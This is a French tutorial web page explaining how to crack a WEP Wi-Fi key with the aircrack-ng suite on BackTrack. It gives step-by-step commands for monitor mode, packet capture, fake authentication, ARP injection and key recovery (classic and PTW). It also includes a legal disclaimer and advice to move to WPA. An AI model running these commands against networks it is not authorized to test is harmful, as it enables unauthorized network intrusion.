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Nom du tutoriel :
Cracker sa clé Wep par injection de paquets sous Linux
Auteur :
Description :
Apprenez à tester la sécurité de votre réseau wifi avec la suite aircrack sous Linux
Difficulté :
Visualisations :
65936
Modifié le :
03 Aout 2010 à 13h27
Commentaires :
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Sommaire

Introduction et pré-requis

Avant de se lancer dans la sécurité réseau :

Il est formellement interdit de s'introduire dans un réseau sans en avoir eu l'autorisation du propriétaire.

Ce tutoriel a pour unique but de sensibiliser les gens au piratage. Le piratage est un fait grave. Des peines et amendes pourraient être encourues aux petits malins qui utiliseraient ce tutoriel à des fins malhonnêtes.

Toutefois vous avez parfaitement le droit de tester la sécurité de votre réseau et uniquement votre réseau ! TutoWorld décline toutes responsabilités.

L'attaque par injection de paquets a pour but de stimuler la production d'IVS nécessaire au craquage de votre clé Wep. Cette attaque est très efficace lorsqu'une station connectée génère des ARP.

Une station connectée (et valide) est pré requis pour tenter l'attaque. Cependant l'attaque sans station est possible mais le taux de réussite est relativement faible.

Pour commencer, il faut posséder un Live-CD (CD Bootable) de Linux. Vous pouvez télécharger Backtrack 2 directement ou alors connectez vous sur votre espace membre. Une fois téléchargé, il faut graver le fichier image (iso) avec Néro ou PowerIso par exemple.

Vous devez ensuite insérer le CD dans le lecteur de manière à booter sur le CD (vous devez peut-être changer la séquence de boot dans le BIOS).

Attendez ensuite quelques minutes et vous devriez voir cet écran de démarrage :

Login : root
Pass : toor

Une fois logué, entrer la commande startx (attention clavier qzerty donc il faut écrire stqrtx).

image

Une fois le bureau chargé, changer la langue en cliquant sur l'icône en bas à droite du bureau.

image

Ouvrez une console (icône en bas à gauche de couleur noire) et c'est parti !

Activer sa carte wifi et capturer des paquets

Activer sa carte Wifi avec Airmon-ng

Lancez airmon-ng :

airmon-ng start INTERFACE_WIFI
Pour connaitre son interface wifi, faites seulement airmon-ng.

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Capturer des paquets avec Airodump-ng

Lancez airodump-ng :

airodump-ng --write Nom_Fichier_Sortie --channel Canal --encrypt Type_De_Securite INTERFACE_WIFI

-- write : Nom du fichier cap de sortie. Obligatoire
-- channel : Canal où se situe l'AP (entre 1 et 13). Facultatif.
-- encrypt : Filtre en fonction de la sécurité du réseau (wpa, wep, opn). Facultatif.
-- bssid : Filtre en fonction d'une adresse MAC d'un réseau. Facultatif.

image

L'ap visé s'appelle test_wep.

image

Fake authentification avec Aireplay-ng

Passons maintenant à la fake authentification. Rien de plus simple, il suffit de lancer la commande suivante :

aireplay-ng -1 0 -e Nom_Du_Reseau -a Bssid_Du_Reseau -h Bssid_De_La_Station INTERFACE WIFI

-1 0 : Indique une fake authentification avec un timeout de 0ms. Obligatoire.
-e : Nom du réseau (colonne ESSID). Obligatoire.
-a : Adresse MAC du réseau (colonne BSSID). Obligatoire.
-h : Adresse MAC de la station (colonne STATION). Obligatoire.

image

Une fois l'association réussie, on passe à l'injection de paquets.

aireplay -3 -e Nom_Du_Reseau -b Bssid_Du_Reseau -h Bssid_De_La_Station -x Vitesse_Injection -r Fichier_Cap_A_Utiliser INTERFACE_WIFI

-3 : Indique qu'il s'agit d'une injection de paquets. Obligatoire.
-e : Nom du réseau. Facultatif.
-b : Adresse MAC du réseau (colonne BSSID). Obligatoire.
-h : Adresse MAC de la station (colonne STATION). Obligatoire.
-x : Vitesse d'injection des packets (entre 100 et 1000). Facultatif.
-r : Fichier cap à se servir pour l'injection lors de l'attaque ChopChop par exemple. Facultatif.

image

Il faut attendre quelques minutes pour que les ARP augmentent ainsi que les IVS mais si vous êtes loin de l'AP, cela peut prendre plusieurs heures.

Normalement si tout se passe bien, les ARP augmentent ainsi que les IVS.

image
image

Il faut en théorie 300 000 IVS pour cracker une clé de 64 bits, 1 000 000 pour une clé de 128 bits et 3 000 000 pour une clé de 256 bits.

Cracker la clé Wep avec Aircrack-ng

Lancez aircrack-ng :

aircrack-ng -x -0 -n Taille_Cle_Wep Nom_Du_Fichier_Cap_De_Aerodump

-x : Attaque classique pour casser la clé. Obligatoire.
-0 : Colorie l'écran en vert à la Matrix ! Facultatif.
-n : Si vous connaissez la taille de la clé wep (64, 128 ou 256). Facultatif.
-f : Fudge factor (entre 2 et 12). Facultatif.
-k : Désactive certaines attaques de Korek (entre 1 et 17). Facultatif.
*.cap : Charge tous les fichiers cap (pratique si vous avez oublier le nom du fichier). Obligatoire.

image

Admirez les chiffres hexadécimaux qui défilent à la Matrix... Vous devriez voir votre clé Wep au bout de quelques minutes si vous avez suffisamment d'IVS...

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Cependant, un nouvel algorithme a vu le jour il y a quelques mois. Il s'agit de aircrack-ptw disponible en natif seulement avec les distributions Backtrack 2.0 et Wifiway 0.6

Une mise à jour de aircrack-ng permet d'avoir ce nouvel algorithme redoutable. (voir comment installer la mise à jour).

La syntaxe est quasi identique :

aircrack-ng -z -0 -n Taille_Cle_Wep Nom_Du_Fichier_Cap_De_Aerodump

-z : Nouvel algorithme de crackage (ptw). Obligatoire..
-0 : Colorie l'écran en vert à la Matrix ! Facultatif.
-n : Si vous connaissez la taille de la clé Wep (64, 128 ou 256). Facultatif.
-f : Fudge factor (entre 2 et 12). Facultatif.
-k : Désactive certaines attaques de Korek (entre 1 et 17). Facultatif.
*.cap : Charge tous les fichiers cap (pratique si vous avez oublier le nom du fichier). Obligatoire.

image

On remplace le « x » par « z ».

Avec cet algorithme, on peut cracker une clé Wep avec seulement 40 000 IVS. La preuve en image :

image

En cas d'échec, vous pouvez modifier le fudge factor (-f) entre 2 et 10.

image

Vous pouvez aussi désactiver un des attaques de KOREK (-k). Par défaut, aircrack utilise 17 attaques !

image

Et si vous le souhaitez, vous pouvez fusionner les commandes :

image

Si cela ne marche toujours pas,

Conclusion

La conclusion de ce tutoriel se révèle être simple... De nos jours, le cryptage Wep n'est plus du tout sécurisé quelque soit la taille de votre clé encryptage. Il suffit avec la nouvelle attaque Ptw d'accumuler 40 000 IVS afin de cracker une clé Wep 256 bits en une dizaine de minutes !

Le gros problème du cryptage Wep est que les paquets transités par la borne Wifi contiennent des informations sur la clé Wep. Il suffit alors de les sniffer afin de déchiffrer la clé Wep (c'est d'ailleurs le rôle d'Airmon-ng).

Pour conclure, oubliez vite ce type de cryptage et adoptez immédiatement un cryptage avec une clé Wpa qui ne peut se cracker que par Brute Force.

Je vous invite à voir le tutoriel qui montre que malgré tout le Wpa à ses limites...

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